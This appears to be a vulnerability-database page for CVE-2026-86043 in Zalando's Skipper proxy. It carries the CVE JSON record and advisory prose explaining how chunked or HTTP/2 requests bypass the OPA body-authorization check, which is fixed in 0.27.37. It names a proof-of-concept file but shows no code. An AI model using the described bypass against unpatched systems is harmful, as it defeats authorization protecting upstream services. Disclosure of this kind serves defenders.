      "url": "https://github.com/zalando/skipper/releases/tag/v0.27.35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.27.37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/tree/v0.27.35"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)"
}

CVE-2026-86043 (GCVE-0-2026-86043)

Vulnerability from cvelistv5 – Published: 2026-09-16 18:51 – Updated: 2026-09-16 19:38

Title

Skipper: OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix CVE-2026-50197)

Summary

Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-16 19:38 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/zalando/skipper/security/advis…	x_refsource_CONFIRM
https://github.com/zalando/skipper/commit/2cfceab…	x_refsource_MISC
https://github.com/zalando/skipper/releases/tag/v…	x_refsource_MISC
https://github.com/zalando/skipper/tree/v0.27.35	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
zalando	skipper	Affected: < 0.27.37

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-86043",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-16T19:38:03.907390Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-16T19:38:17.894Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "skipper",
          "vendor": "zalando",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.27.37"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-16T18:52:33.357Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76"
        },
        {
          "name": "https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507"
        },
        {
          "name": "https://github.com/zalando/skipper/releases/tag/v0.27.35",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zalando/skipper/releases/tag/v0.27.35"
        },
        {
          "name": "https://github.com/zalando/skipper/tree/v0.27.35",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zalando/skipper/tree/v0.27.35"
        }
      ],
      "source": {
        "advisory": "GHSA-5gpm-rgj3-9q76",
        "discovery": "UNKNOWN"
      },
      "title": "Skipper: OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix CVE-2026-50197)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86043",
    "datePublished": "2026-09-16T18:51:20.486Z",
    "dateReserved": "2026-09-04T19:29:21.058Z",
    "dateUpdated": "2026-09-16T19:38:17.894Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-5GPM-RGJ3-9Q76

Summary

Root cause

Reachability

Impact

CVSS 3.1

Proof of Concept

Adversarial re-read (refutation attempts)

Remediation

Confidence

Proof-of-Concept source (poc_truncated_body_chunked_test.go)

CVE-2026-86043 (GCVE-0-2026-86043)

Tags

Sightings

Nomenclature

Related by attack behaviour

Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)